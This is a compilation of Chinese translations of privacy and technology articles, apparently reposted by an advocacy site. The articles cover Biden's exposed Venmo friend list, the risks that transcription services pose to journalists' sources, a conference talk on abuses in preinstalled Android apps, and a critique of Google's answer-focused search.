社交关系不仅意味着警察的连锅端，并且，对于任何人肉骚扰、欺诈勒索、变态追踪狂来说，都是重要的金矿。这个点对点支付应用程序让每个人都暴露无遗，不论是普通的你我还是全世界最有权势的人

BuzzFeed 新闻网在不到10分钟内就找到了总统乔·拜登的Venmo账户，从而发现了他的私人社交关系网，这显然是一个国家安全问题，但也是每一个使用这个流行的点对点支付应用程序的人的一个主要隐私问题。

在《纽约时报》顺口提到总统在 Venmo 上给他的孙辈们转账之后，BuzzFeed 新闻网就开始了调查—— 仅仅使用该应用的内置搜索工具和公共好友功能的组合，就轻易挖出了总统的账户。

在这个过程中，**BuzzFeed** 找到了近十名拜登家族成员，并绘制了一张社交网络，不仅包括第一家庭，还包括他们周围的广泛关系网络，包括总统的子女、孙子、白宫高级官员、以及他们在 **Venmo** 上的所有联系人。

总统的交易是不公开的，出于国家安全考虑，BuzzFeed 新闻没有曝光本次调查中提到的账户的用户名。

在 BuzzFeed 为这篇报道与白宫联系后，总统Venmo账户上的所有朋友都被删除。白宫发言人没有立即发表评论。在Venmo应用程序中查看的目标用户的社交关系视图

隐私倡导者和记者多年来一直在警告Venmo的隐私问题，但这个由贝宝**(PayPal)**拥有的应用程序一直坚持使用可能将用户—— 包括美国总统—— 置于风险之中的功能。

虽然许多批评者关注的是该应用如何默认公开所有交易，但是，**Venmo** 的朋友名单可以说是一个更大的隐私问题。即使 **Venmo** 账户被设置为私密支付，其好友名单仍然暴露。没有任何设置可以使这些信息保密，这意味着它提供了一个了解某人个人生活的窗口，任何人都可以利用它，包括**trolls**人肉、变态狂跟踪者、警察和间谍。

没有任何其他主要的社交网络或服务有基于联系人的朋友名单，默认情况下任何人都可以公开访问这些名单，而且这些名单不能被保密。

人们使用 Venmo 来获取报酬，通常使用自己的真实姓名。人们通常也会导入自己的手机联系人列表或 Facebook 好友名单 —— 这是该应用在您注册时极力鼓励的—— 以创建关系网络，让人们自动与几十个甚至几百个其他Venmo用户成为 “好友”，让他们更容易找到他们想要支付的人。Venmo 让用户无法隐藏自己的朋友名单。

几位前 Venmo 员工告诉 BuzzFeed News，Venmo 的公开交易和朋友名单是该应用早期设计的组成部分。2009年推出的 Venmo 是一种简单而免费的朋友间转账方式，它在很大程度上依赖于Facebook开创的社交动态。人们毫无顾忌地公开分享他们在晚上外出后为朋友支付比萨饼的费用，或在室友之间分担的煤气费。

据一位前工程师说，这个想法是，建立在某人的社交网络上是一个更容易让人相信他们从谁那里付款或收钱的方法。从那时起，该应用程序已成为贝宝增长的主要动力之一，在**2021**年的前三个月里，结算了**510**亿美元的付款。

乍一看，披露人与人之间的联系可能显得微不足道：谁会在乎你是否知道某人与谁有联系？但是，这些公共连接可以用来暴露非常敏感的信息。

美国政府机构如缉毒局在刑事案件中就使用了这一功能，如说唱歌手麦克·米勒的药物过量死亡。

利用公开的朋友名单和交易信息，**BuzzFeed** 新闻发现有两名国会议员在华盛顿特区是室友，还有记者与特朗普政府官员在朋友名单上—— 这意味着可能暴露了消息来源。

BuzzFeed 还与家庭暴力和虐待的幸存者进行了交谈，他们怀疑前伴侣使用Venmo来跟踪他们，而使用Venmo接受客户付款的治疗师也不知道他们的朋友名单显示他们在与谁合作。

去年，还是路易斯安那州立大学学生的尼克·卡德纳(Nick Cadena)告诉 BuzzFeed 新闻，他曾是 Venmo 上一个冒名顶替骗局的受害者。一个骗子用他的照片和个人资料创建了一个冒名顶替账户，然后用这个账户向卡德纳的朋友要钱。一些人完成了交易，因为他们认为自己支付的人是真正的卡德纳。

“数字权利组织电子前沿基金会的主管根尼·格布哈特(Gennie Gebhart)告诉BuzzFeed，对于使用 Venmo 的普通人来说，Venmo 的隐私问题已经是一个大问题，而且多年来一直如此：“而当我们谈论一个主要的公众人物时，所有这些问题都被放大了。”

自从1998年比尔·克林顿向当时的参议员约翰·格伦发送电子邮件以来，总统们一直在努力使用新技术，同时保障国家安全和遵守公共记录法。经过几个月的争论，巴拉克·奥巴马才被允许在任职期间使用个人黑莓手机，据说唐纳德·特朗普的推特账户被黑客正确猜到了他的密码—— maga2020! 候选人希拉里·克林顿在担任国务卿期间在家中设立了一个私人电子邮件服务器，因而面临争议。

但是，Venmo带来了新的挑战，这并不是第一次有政府官员的Venmo账户通过公开信息被轻易发现。

2017年初，人们就发现了白宫新闻秘书肖恩·斯派塞(Sean Spicer)的Venmo账户，并向其发送垃圾邮件。特朗普的女儿蒂芙尼的账户也被发现。今年，众议员马特·盖茨(Matt Gaetz)和被指控的性交易贩子乔尔·格林伯格(Joel Greenberg)之间的交易似乎是为三名年轻女性支付“学费”。

属于名人的账户也很容易被发现，2017年，隐私研究人员 Hang Do Thi Duc 创建了 Public by Default 项目，该项目收集了公共Venmo交易中通常与毒品有关的术语和表情符号。该项目揭示了人们可能没有注意到自己的隐私设置是什么，甚至在进行个人交易时也是如此。

Venmo 的母公司贝宝(PayPal)在2018年就联邦贸易委员会的一项诉讼达成和解，据称它未能正确解释其隐私设置。虽然Venmo简化了其设置，但关键是，新用户的交易仍被默认为公开。

拜登总统的交易并不公开，他在Venmo上的朋友不到10个。但考虑到他所连接的人，包括一个似乎是他的妻子、第一夫人吉尔·拜登的账户，他很容易被核实。吉尔·拜登的账户又与不同的助手、拜登的高级工作人员和家庭成员有联系，包括一个似乎是总统的儿子亨特·拜登的账户。

“对于世界上防卫最严密的个人之一，一个公开的Venmo账户和朋友名单就是一个巨大的安全漏洞”，Gebhart说，“即使是一个小的朋友名单，也足以描绘出一个人的习惯、常规和社交圈的相当可靠的画面”。

纽约时报写道，拜登的一名顾问说，总统“曾用Venmo给孙辈送钱”。这些孙辈中的一些在Venmo上是可以找到的，这为可能的骚扰提供了途径。在至少两个大家庭成员的账户上，BuzzFeed看到，同一个陌生人向他们发送了请求，要求他们让拜登总统给他钱。

纽黑文大学主任瓦希德·贝扎丹(Vahid Behzadan)告诉BuzzFeed新闻，“如果有人想摸清第一家庭的活动，只需看看他们在社交网络上的活动就可以了，通过观察他们的朋友在做什么就可以弄清总统家庭的情况。我假设，扩展的人际关系，如朋友、孙辈，不享有与第一家庭相同的安全水平，因此，通过他们的关系网络被动地监控他们是可以很容易的。”

通过找到这些账户，一个人可以对总统、他的助手或他的家庭成员进行人身跟踪，为白宫带来安全风险。此外，还有间谍风险。间谍或政治对手也可以利用这些信息找出与总统关系密切的人的个人信息，或者冒充拜登的核心成员，以虚假的名义与总统或其他人沟通。还有其他可能的后果。例如，一名白宫官员和一名记者之间的联系有可能暴露出一名吹哨人。

斯坦福大学教授、前 Facebook 首席安全官亚历克斯·斯塔莫斯说：“这是一个很好的例子，说明为什么具有社交功能的应用程序不应该默认允许陌生人看到对方的数据。正如我们在其他产品中看到的那样，如健身应用程序，国家安全敏感信息可以很容易地被情报部门以及更普通的对手收集，如虐待的配偶和跟踪狂。”

如果你错过了《如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？》

最后，如此多年之后，Venmo 终于让用户可以选择将好友列表设为私密了。这仅仅是因为总统而不是其他人被曝光了 …… 如果您打算继续使用它，请迅速更新您的设置。并且请记得，**Venmo** 始终知道您的一切。

We Found Joe Biden’s Secret Venmo. Here’s Why That’s A Privacy Nightmare For Everyone

原文

谁在听？- 您应该小心音频转录服务 - iyouport

你应该了解的现实

最好不要信赖那些隐私政策

很多人都在使用音频转录工具，而不仅仅是记者，甚至包括一些敏感人士在聚会讨论的情况下，本文希望提醒这件事有可能很危险。

当然，危险指数从来都是与您的个人威胁模型密切相关的 —— 如果与您对话的人是美国吹哨人，您就绝对不应该使用硅谷公司的服务进行转录；如果与您对话的人是中国异议人士，您就绝对不应该使用中国的服务；公共人物如政客和明星，他们的风险指数是最低的，而反抗者、逃亡者等政府不喜欢的人，具有最高的风险指数。

同样的思考也适用于变声软件和照片编辑软件，您知道，毕竟您需要首先上传真实的声音和照片。

关于安全，您可以重温这里的介绍《技术是愚蠢的—这就是为什么您应该格外小心：基本手册给行动者、敏感人士和任何期待安全的普通公民》。

当迈克尔·利斯塔去马尼托巴省埃默森市一家孤独的单层汽车旅馆住了10天时，他的行李装得太多了。他的手提箱里装满了他最终没有穿的衣服。事实证明，他所需要的只是一点旅行必需品—— 一条牛仔裤、一双靴子、一件风衣，以及最重要的，一台破旧的索尼录音机，其小型LED屏幕上有划痕，扬声器的缝隙里有灰尘。对于自诩为“傻瓜”的利斯塔来说，这个手掌大小的设备是他的宝贝；是他工作中最重要的一个工具。

他在汽车旅馆的房间地板上铺着一块磨损的绒毛地毯，米色的墙纸已经老化，脏兮兮的。不过利斯塔没有抱怨，原因有二：一是管理汽车旅馆的好心人每晚收费不到50美元。另一个原因是，枫叶汽车旅馆正是利斯塔想去的地方。他的目标是讲述他隔壁邻居的故事：寻求庇护者由于害怕特朗普的反移民制度，逃离美国，最终来到边境以北约

200米的一个人口不到700的小镇。

利斯塔记录了像艾哈迈德这样的难民的故事。艾哈迈德是一名同性恋者，他在从厄瓜多尔到温尼伯南部的三年旅程中忍受了倾覆的移民船、致命的蜘蛛、被抢劫、还有监禁。他分享了一个名叫科菲的年轻人的故事，他担心被遣返回加纳。埃默森离美国边境如此之近，是一个充满了像这样的奥德赛式故事的小镇，这些人被迫越过法律的界限，以逃避他们祖国的危险。由于他们的故事经常涉及违反移民法，利斯塔有一个担忧：他是否会因为与他们交谈而使这些人处于危险之中？

这种担忧阐明了利斯塔的录音机的重要性。如果他在使用云存储的设备上录制采访，如手机或较新的笔记本电脑，利斯塔保存的数据，以及艾哈迈德的机密信息，可能最终会出现在硅谷的服务器上。如果美国政府选择传唤这些服务器上的信息，利斯塔将无能为力。简而言之，如果允许苹果（通过**iCloud**）或谷歌（通过**Google Drive**）访问他的采访，利斯塔认为他将无法履行作为一名记者的道德责任，无法保护其消息来源的机密性。

如果您错过了《如何安全地留住证据：给真相的记录者一些技术技巧建议》

他说，这种道德责任是记者和消息来源之间不言而喻的合同：作为分享他们的故事的回报，消息来源被承诺公平陈述和保护他们的信息。利斯塔说，无论披露的信息内容如何，记者对消息来源承诺的保密性，应该与牧师对忏悔者的保证或律师对其客户的保证没有区别。自愿将这些信息提供给第三方公司是对这一承诺的放弃。随着最近数字工具的进步改变了新闻实践，利斯塔所描述的记者和消息来源之间的契约正在日益消退。

因此，利斯塔仍然坚信，作为一名记者，尤其是调查记者，他应该始终对他的录音设备采用隔离互联网的方法（类似Whonix的两个虚拟机的思考方式，在这里更简单，就是不让设备联网），其所有过程和存储方案都由设备本身完成。利斯塔的录音机就是一个例子：它没有连接到互联网的能力，也不会自动与其他设备同步数据。

但是，隔离互联网只是保护源头机密性的一个步骤。利斯塔还有其他建议。如果可能的话，他通过固定电话进行所有的电话采访，而不是手机，因为政府更有能力从手机中获取信息（还因为固定电话的音质更高，可以进行更安静、更清晰、更亲密的对话，有助于与消息来源建立更多的友好关系）。他避免使用基于云的文字处理器，如谷歌文

档，而且他从来不会将他的采访上传到音频转录网站。

今天，转录是新闻工作的一个重要方面。把对话的全部内容写出来，或者打印出来，可以确保记者能够准确地引用消息来源，也就是逐字逐句地引用，并在被采访对象的原意范围内引用。对于记者来说，很少有像不准确的引用那样不可饶恕的罪过。为了使读者避免受到不准确的影响，作为职责所在，一些记者对自己的采访进行转录。

记者使用的转录方法是多种多样的。自由职业者伊莎贝尔·斯隆（Isabel Slone）戴着耳机回放整个录音，然后在键盘上打字；CBC的记者斯图·米尔斯(Stu Mills)更喜欢利用他的广播背景来发挥优势，他注意到他的采访对象什么时候说了一些适合做广播剪辑的内容，然后他提取那个特定的音频剪辑并进行转录。

这种多样性扩展到了一些新闻学的课堂。卡尔顿大学新闻学教授保罗·亚当斯（Paul Adams）教授了一项练习，给他的学生一长段采访内容，让他们逐字逐句地转录。但他并没有具体说明学生们应该如何去做。亚当斯注意到他的学生中有一个新趋势：他们对自动转录服务的依赖。

今天，许多转录服务是基于人工智能的，用一种复杂的算法将语音解构为文本。提供人工智能转录的公司，如 Trint、Otter.ai、Temi 和 Descript，使用机器学习来提高算法的准确性。

简单地说，这些服务通过解析用户数据来识别模式。他们要解析的用户数据越多，他们能识别的模式就越多，这导致了“更好、更准确”的最终结果。

关于音频转文字的小历史《中国*AI*巨头让监视如此容易》

通过这些平台进行转录有几个优势：它们可以在多种设备上访问 ——记者可以在自己的电脑上上传采访，然后在手机上通过一个按钮访问转录。但人工智能转录的最大资产是它的速度：一小时的采访可以在几分钟内完全转录。

四年后，利斯塔还记得艾哈迈德的故事细节。艾哈迈德在他的祖国加纳因其性取向差点被殴打致死。他飞往厄瓜多尔，开始了前往美国的旅程，试图获得难民身份。在哥伦比亚，他被抢走了所有财物，只有一张出生证明的复印件和一点现金。当艾哈迈德最终到达美国时，他遭到监禁，并被命令返回加纳。艾哈迈德的生活，以及利斯塔与之交谈的其他寻求庇护者的生活，是非常敏感的，如果利斯塔使用转录服

务，就有可能让美国政府获得他的消息来源的身份。简单地点击一下“上传”按钮就能把艾哈迈德送回加纳，这并非不可能。

2017年初，艾哈迈德获得了难民身份，这将保护他在加拿大境外免遭迫害。利斯塔在报道这个故事时，也许是由于他坚定不移地认为来源信息必须得到保护，最终没有危害到他所采访的人的生命。也许是利斯塔的方法—— 他对录音设备进行了网络隔离，并拒绝在报道中使用联网的软件—— 保护了艾哈迈德和其他人的人身安全。

可以避免这种风险吗？总部位于英国的人工智能翻译平台Trint向用户承诺，所有用户数据均采用AES 256加密，这是美国政府使用的一种众所周知的严格的加密算法。Otter.ai 在其隐私政策中包括，他们将“不与他人分享个人信息或客户数据，除非客户按照书面指示或通过发送消息提出要求”。Descript 是一家位于旧金山的公司，承诺进行HTTPS加密，并声称雇用了一名“数据保护官”。

> 利斯塔的索尼录音机 ……没有连接到互联网的能力，它不会自动与其他设备同步其数据。

但是，隐私和技术律师 Aaron Baer 警告说，不要盲目相信公司作为其隐私政策和使用条款的介绍。**Baer** 说，问题有两个方面：首先，法律要求公司必需制定隐私政策，而使用条款几乎总是很宽泛，总是对公司有利；第二个问题是，不能保证公司遵守政策，甚至都不能保证他们知道自己的政策是什么，“现实是，你不知道你正在使用的任何应用程序或任何平台上，你的数据正在发生什么。”

2020年2月，据报道，美国官员表示，中国电信巨头华为通过后门访问，有能力从使用其设备的公司暗中获取数据。华为已经是世界上最大的电信硬件供应商之一，准备成为5G设备的全球领导者。这令人非常不安的原因是，基于人工智能的服务，如转录，很快将完全在5G网络和设备上进行，因为5G具有无与伦比的速度和效率。

华为总部设在中国，由于该国的情报法，华为在法律上有义务将获得的数据交给中国政府。除此之外，根据外交关系委员会的报告，中国政府“对所有中国私营公司有相当大的影响力”，在2018年，甚至向华为提供了2.22亿美元的政府拨款。

换句话说，因为几乎可以肯定的是，像转录这样基于机器学习和人工智能的工具将很快完全在5G设备上运行，以及，华为正在宣称其在5G市场的主导地位，因此，上传到这些服务的用户数据将面临被收集并交给华为和中国政府的风险。因此，转录服务的用户会合法地将源

信息提供给华为和中国政府。这就是为什么利斯塔将记者使用转录服务描述为疯狂的原因之一，他说，“这是对信息收集链的妥协—— 允许华为进入5G网络，我无法相信人们还会使用转录服务。这是很不负责任的”。

对公司获取用户私人数据的担心并不只是一个未来主义的假设。去年，谷歌承认，欧盟用户的**1000**多条私人对话被一家受雇分析语音片段的第三方公司泄露了。这家科技巨头停止了在欧盟国家内通过其 Google Assistant 应用程序进行的语音转录。

这一事件揭示了数据隐私领域的复杂问题。一家公司不仅泄露了仅为转录目的而上传的用户数据，而且还发现谷歌正在与隐藏的第三方分享未加密的信息。这个案例体现了利斯塔的担忧：通过自愿或不自愿地允许访问来源信息，记者放弃了他们保护该来源的能力。更糟糕的是，在许多隐私政策中，包括 Otter.ai、Descript、Temi 和 Trint 的隐私政策，都表示这些公司将遵守任何披露个人数据的法律义务。虽然这是隐私政策中的一个标准短语，但这恰恰是利斯塔所担心的：被当局传唤的可能性。

“记者需要比其他人更勤奋”，利斯塔说，“就像有人与他们的牧师、律师或医生交谈时一样，我们需要限定我们谈话的界限，不惜一切代价保护他们。”

世界领先的隐私专家 Ann Cavoukian 对自动转录的未来提出了一个更有希望的观点。Cavoukian 认为，消费者在使用数字公司提供的服务时，越来越意识到隐私问题。2009年，当她还是安大略省的信息和隐私专员时，她发表了一份文件，概述了隐私设计（PbD）的原则，这是一个工程概念，其中隐私是一个主要的关注点，并被嵌入到构建系统的每个阶段。她将PbD描述为能够为企业提供竞争优势，因为他们的客户积极寻求隐私。

隐私设计肯定会受到记者们的欢迎，因为它是一种保证政策—— 他们的信息不会落入坏人手里。PbD是一个在现代网络数据系统中越来越流行的概念，包括转录服务。遵守PbD一些原则的转录服务的一个例子是 Descript。Descript 对他们的隐私保证过程是公开的，甚至在一个专门介绍其平台安全的网页上解释了该公司采用的加密方法。

同样，总部位于旧金山的 Otter.ai 的联合创始人兼首席执行官 Sam Liang 表示，他的公司致力于保护用户隐私。但是，正如 Cavoukian 和 Baer 所说，他承认，使用该服务的记者最终只能依靠盲目的信仰，相信包括他在内的公司都在遵守他们制定的政策。当被问及他如

何能真正保证用户的数据是安全的时，**Liang** 回避了这个问题，并将其与使用其他第三方网站如 **Zoom** 或 **Dropbox** 进行了比较（这等于承认不可靠）。Liang 认为新闻业是作家、编辑和消息来源之间的合作媒介，在这种情况下，数据必须由不同方面不断快速传输和处理。由于这个原因，在新闻业使用第三方公司是一种常态。这也是事实。一些记者用第三方应用程序（如TapeACall）录制电话，或将录制的采访内容存储在 Dropbox 或 Google Drive 账户中。

因此，Baer 的警告是，不管一个公司看起来多么值得信赖，用户永远无法真正知道自己的数据会发生什么。转录服务中隐私的未来可能是光明的，但 Cavoukian 同意 Baer 的观点：通过使用这些服务，记者将始终把他们与消息来源的对话留在那些大企业手中。她回忆起一个早晨，她和《环球邮报》的一名记者秘密地交谈。Cavoukian 说："如果我认为我对他说的话会被输入到一个转录服务中……我就不会和他说话！"。"我不会给他任何信息。我为什么要那样做？记者和他的谈话对象之间必须要有足够的信任和尊重。"

如果 Cavoukian 和《环球报》的记者并不是在保密的情况下说话呢？如果他们谈论的是他们最喜欢的炒蛋方式或任何其他零敏感性的话题呢？敏感信息和非敏感信息之间的区别可能是由记者来决定的。亚当斯说，如果他采访一个吹哨人或处理一个性侵犯的报道，他会对隐私产生严重关切，但如果他采访一个像贾斯汀·特鲁多这样的公众人物，他的关切就会减少。

在采访主题甚至不在信息敏感度的假设范围内的情况下，使用转录服务的允许性就会从 "绝对不行" 减少到许多记者都熟悉的灰色地带。新闻问题往往可以被分解成关于道德的问题，而这些问题的答案往往是模糊的。Cavoukian 提出了一个关于同意的论点。她想知道，"为什么有人会向记者提供信息，如果这些信息可以在没有我同意的情况下传到任何地方？"

也许现在是时候让记者开始征求采访对象的同意了，如果他们打算将对话上传到第三方转录服务 —— 这是新闻业最佳做法清单上的另一个补充，就在确认采访将被记录在案之后。

如果您错过了《您知道该如何培养和维持信任吗？- 管理信息源的有效方法：简易指南》

或者，记者们应该寻求其他方法来准确引用他们的消息来源。他们可以使用 Slone 的方法，即拨号和打字。或者像米尔斯那样，把音频片段分离出来，只抄写某些内容。或者，他们应该更像利斯塔那样做，

他根本就不转录。利斯塔是一个坚定的信仰者，他认为转录时会失去消息来源的语气和情感背景，他只是在他那台破旧的索尼录音机上按下回放按钮，将他想引用的内容直接输入报道。〇

Who’s Listening?

原文

谷歌前高级工程师揭示了安卓预装应用中侵犯人权的重磅内幕 - iyouport

你应该了解的现实关于谷歌-监视资本主义的创始人

【2020年6月30日存档】恶意软件不再需要诱骗每一个用户下载安装，现在它就在你的手机的预装里面，你无法删除……

正式担任 Android 安全团队高级逆向工程师和技术负责人的 Maddie Stone 在2019年8月的 BlackHat USA 演讲中震惊地披露了许多示例，说明在 Android 设备上预安装的应用如何破坏用户的隐私和安全性。演讲视频如下：

这些有问题的应用是预装在设备里面的，并且通常无法删除。

Stone 揭示了世界各地智能手机制造商的一连串滥用行为，调查结果表明，某些制造商蔑视用户的隐私和安全。

包括 **Google** 在内的几乎所有制造商都在未警告用户的情况下禁用了 **Google Play** 保护机制 —— 该功能是较新版本的 Android 中的一项功能，理论上用来阻止应用程序的恶意表现以保护用户的隐私和安全。

⚠而其他制造商在其设备上留下了允许任何人远程执行的代码 —— 允许任何意识到这一点的恶意行为者读取手机内容，而无需物理访问，并且用户不知情。

一些制造商甚至修改了 Android OS 和 API 以允许他们看到设备上访问的每个URL，目的不明；这些行为明显违反了用户的信任和隐私人权。

Stone 甚至惊人地揭示了如何通过供应链干扰以利用预装的应用程序让恶意软件开发人员分发其代码 —— ⚠如果恶意软件已经打包并预装在手机上，那么就根本不需要再诱使用户安装了。

最令人失望的是，揭露表明 Google 已经了解此问题已有一段时间了，这一事实已由其一位受人尊敬的工程师发现，但是，谷歌没有采取任何行动。

Privacy International 与世界其他50个非政府组织都要求 Google 改变做法并阻止制造商剥削他人。请愿书在这里。

问题

「图」

Google Play Protect ——

停用 Google Play 保护机制可以安装已知的恶意应用并且不会向用户发出警告，这也意味着预安装的应用与 Google Play 应用所遵循的标准不相同，

Sone 说：“几乎每个人都在做这种事，无声地禁用保护机制， 包括 GMScore，谷歌自己也是这么做的”。

尽管已检测到有禁用 Google Play 保护机制的功能，但由于这些应用程序已经具有特权状态并且能够使用API进行通信，因此保护机制不适用于预装的应用程序。

Stone 指出 “尽管大多数人都试图重新启用此设置，但并非一直如此，有时还存在竞争状况，因此 “无法重新打开 Google Play 保护”。

多个应用程序之间合谋 ——

Stone 强调的问题之一被称为 “多个应用程序之间的” 合谋，这是预装的应用程序相对独特的问题。即 两个应用程序协同工作以完成自己单独工作时无法完成的事。

Stone 举例说，比如 其中一个app具有发送文本消息的权限，但不包含任何这么做的代码，另一个具有将短信发送到手机号的代码（例如优惠费率号码），但没有发送短信的权限。而这些应用程序具有协同工作的能力，从而使它们能够利用用户，在这种情况下是进行消息欺诈。*Image courtesy Maddie Stone via GitHub*

远程执行代码 ——

Stone 通过后门检查远程代码执行（RCE），这些是设备上存在（或

注定要存在）的代码位，两个例子都来自集成商的过失，而不是故意的恶意，例如，以不受保护的方式将诊断和远程管理软件留在设备上，以不受保护的方式允许远程执行代码。

网址记录 ——

制造商通过URL日志记录修改了Android操作系统和API，以使他们能够访问设备上浏览的每个URL，这明显违反了用户的信任和隐私权。

根据 Stone 的幻灯片，这种行为可以被 Google Play Protect 检测为间谍软件。但是，如前所述，可以默默禁用 Google Play 保护。

恶意软件 ——

Stone 讨论了有关预装应用程序的供应链问题。

与传统的恶意软件不同，开发人员必须说服用户下载安装（通常是通过欺骗，例如 网络钓鱼或仿冒攻击），而这种情况下，⚠ 恶意软件开发人员只需要说服设备制造商将其代码包含其中，它就会自动发送到成千上万的用户。

如前所述，它也将获得预装的许多好处，例如具有特权访问权限以及被包含在只读文件系统中，使用户无法删除。

在示例中，Stone 谈到了 “Chamois” 僵尸网络，该恶意软件被伪装成 “移动支付解决方案” 或 “广告SDK”。（2018年3月，Chamois 僵尸网络恶意软件感染了2000多万台设备）

她接着讨论了 Android OEM 的多样性，以及一些以 “30美元、40美元销售的，利润几乎为负” 的设备。她解释说，包括免费广告SDK可以吸引这些OEM厂商，并且恶意软件开发者知道这一点。

Stone 关于制造商舞弊规模的揭露引起了人们对 Google 认证流程的严重关注。如果您认为是时候要求 Google 认真对用户负责，并要求制造商负责，请签署隐私国际组织的请愿书。

Senior Google engineer reveals privacy bombshell in Android’s preinstalled apps

原文

谷歌得越多，你知道得越少 - iyouport

你应该了解的现实

【2021年4月30日存档】如果你服从于这个只有答案的世界，你可能永远都摆脱不了应试教育的流氓了。

【按】“谷歌知道”，这句话是老牌互联网原住民最耳熟能详的；但是否有人曾经问过这样的问题：“谷歌为什么会知道一切？”，或者说，“谷歌出的答案究竟是怎么来的？”

这篇文章着眼于这个问题，再一次告诉您为什么您不应该依赖谷歌。

它从哲学意义 —— 无所不知只是一种幻觉、到现实意义 —— 谷歌的一言堂算法只是为排斥竞争者而操纵你的认知而来的，两方面来讲述这一问题。我们很高兴地看到中国社会讽刺应试教育的“正确答案”，但现在需要的是走出高墙学堂的人们能认识到：如果你服从于这个只有答案的世界，你可能永远都摆脱不了应试教育的流氓了。

本文的作者 Megan Marz 是 Baffler 的作者，写过很多书，他主要关注技术和社会学。本文以第一人称呈现。

在我运营一家脑瘤研究机构的推特账号的一年时间里，我的工作自然是发布关于脑瘤研究的文章。由于对脑瘤研究一无所知，我做了我能做的事：复制和粘贴研究人员研究报告中的行文。任何时候，我想改任何一个字，我都得去谷歌一下。我会写下：“组蛋白去乙酰化酶”，我查了一下 “HDAC” 的意思，但还是完全不知道它的科学意义。

辨别一项研究的哪一部分表达了它的主旨总是很容易的。它会以这句话开始：“我们的结论”，然后以这句话结束：“需要更多的研究”。认识和模仿知识的形式并不需要对其内容有任何理解。

不理解实际上使我想象中的研究人员产生的知识更容易口技化。如果我有能力辨别研究问题是否有价值、研究是否设计得不好、科学家是否受到与制药公司关系的不当影响，我就不必处理我可能感到的内部摩擦了。由于我根本没有涉足他们的知识库，我看到的只是一个玻璃

般的、不受干扰的简单事实的表面。

“这里将只有答案”，作家玛格丽特·杜拉斯（Marguerite Duras）在1985年的采访中说，当时一个电视节目要求她对2000年做一个预测，她就是这样回答的，“需求将是这样的，将只有答案。所有的文字都将是答案 …… 关于[人的]身体、肉体的未来、健康、家庭生活、工资、休闲 …… 一切。这离噩梦已经不远了。将没有人再读书了。”

杜拉斯接着抱怨屏幕，她当时可能想到的是电视屏幕（而不是电脑）。但没有任何媒介比搜索引擎更系统性地将文本转化为答案 —— 抹去某些种类的无知，伪装另一些种类的无知。

搜索—— 每天有数十亿次搜索 —— 意味着有问题存在，即使搜索不采取问题的形式。如果我搜索“胶质母细胞瘤”，我可能会想知道那个东西是什么 (是最致命的一种脑瘤)；一个人带着它能活多久？(通常不超过两年) ；它是一种什么感觉？(谷歌无法真正告诉我，尽管我的搜索发现了许多症状列表) …… 提供这些答案是有好处的，数以千计甚至数百万计的网页肯定已经被发布，主要或唯一的目的是作为所谓热门查询的顶级答案进行排名。最具代表性的例子之一是 HuffPo 在2011年发表的一篇极其简短的文章，“超级碗什么时候开始？”—— 然后写下一个时间，仅此而已。然后让这句话成为谷歌搜索结果前位。果不其然，它一直是排名第一名的搜索结果。很讽刺吧？

这是个成功的策略，其他公司在后来的几年里也纷纷模仿。HuffPo 的文章被称为“trolling”的行为，也是试图操纵系统。其实，它是在完美地利用这个搜索系统。比赛什么时候开始，缩写代表什么，那部电影里的演员年龄有多大：意图明确的问题，除了事实之外，不要求更多的回应，这是谷歌最擅长的东西。

> *Google*著名的算法将整个人类社会纳入其统计数据中，并鼓励您依靠相同的逻辑去生活

当搜索的对象不那么可知时，搜索结果可能会和它们所揭示的一样隐蔽。2016年11月中旬，宾夕法尼亚州参议员尼基尔·萨瓦尔（Nikil Saval）发表了一篇文章，论述了对大选过度自信的反应泛滥。

“作家们轻率地展开了琐碎的文章，论述选民想要什么，选票代表什么 …… 但证据在哪里？默不作声的选票如何 … 才能可读？” 关于人们如何投票以及为什么投票的统计数据—— 如果你在谷歌上搜索可能会找到一大堆那种东西—— 将民意整理成整齐的栏目，但是，民

调在敲门时的对话只是揭示了一个早期想法的“混乱”，这些想法并非遥不可及或没有定论：“在这种情况下，现实社会并不适合统计的世界。”

- 不要错过，关于民调如何危险《“我们压根不想要这些程序”：Jill Lepore 指出技术无法拯救民主的衰败》

谷歌的算法最著名的是将整个人类社会扁平化为统计，并鼓励你依靠同样的逻辑去生活。例如，它不能告诉你是否患有某种疾病，但它可能通过告诉你有多少其他人患有这种疾病来回答你的查询。如果该疾病是罕见的，你可能会感觉好一些，好像你得到了一个“有利的答案”，但实际上你不会对自己有任何新的了解。如果你去看医生，他们也可能会谷歌一下再告诉你同样的事。罗德岛医学杂志最近的一篇文章认为，医生能够轻易地上网查找医疗信息的现状，导致了过度自信，从而导致误诊。

作者写道，医疗已经“从‘我知道什么？’蜕变为‘我在哪里可以找到它？”

令人欣慰的是，对于搜索者来说，这种蜕变隐去了答案是“一无所知”的可能性。但是，*不知道*，无论有多么不舒服或痛苦，都是生活的内在因素。科学、艺术、宗教实践、与他人的关系、理解政治或历史的尝试：都源于我们要求谷歌释放的那种好奇心。**Google**在某种程度上掩盖了未知的事实，并鼓励人们将世界的多元性看作是我们可以略过的东西，它就是这样减少了人们的生活真正所需的装备。

随着谷歌吞吐越来越多的数据，*理论上*它可知的范围应该扩大。“我们正处于从信息引擎向知识引擎转变的早期阶段”，2012年，谷歌产品经理约翰娜·莱特（Johanna Wright）说。她当时正在拍摄一段介绍所谓的知识图谱的视频，这是一个利用其他数据库直接在搜索结果页面上提供答案的数据库，你无需点击任何东西。

知识图谱的来源包括维基百科、中情局世界概况、体育比分、股票价格、天气预报等授权数据，以及其他所谓的“经验证”机构。当你在谷歌上搜索一个名人、一部电影或一种常见疾病时，它提供了许多显示在屏幕顶部或右侧的方框和面板。这些方框和面板不是告诉你在哪里可以找到答案，而是直接给你答案 —— 准确说是谷歌所认为的答案。

去年，**Markup** 的一项调查发现，谷歌将其移动搜索结果首页的**41%**内容用于自己的产品，包括知识图谱和 Google Flights、Google 翻译

和 YouTube 等谷歌产品所提供的 “答案”。这就将竞争对手推倒或淘汰出局了。

在谷歌开始在搜索结果页面上显示歌词后，Genius.com 的搜索流量大幅下降；TripAdvisor 在失去与谷歌竞争服务的流量后不得不裁员了200人。

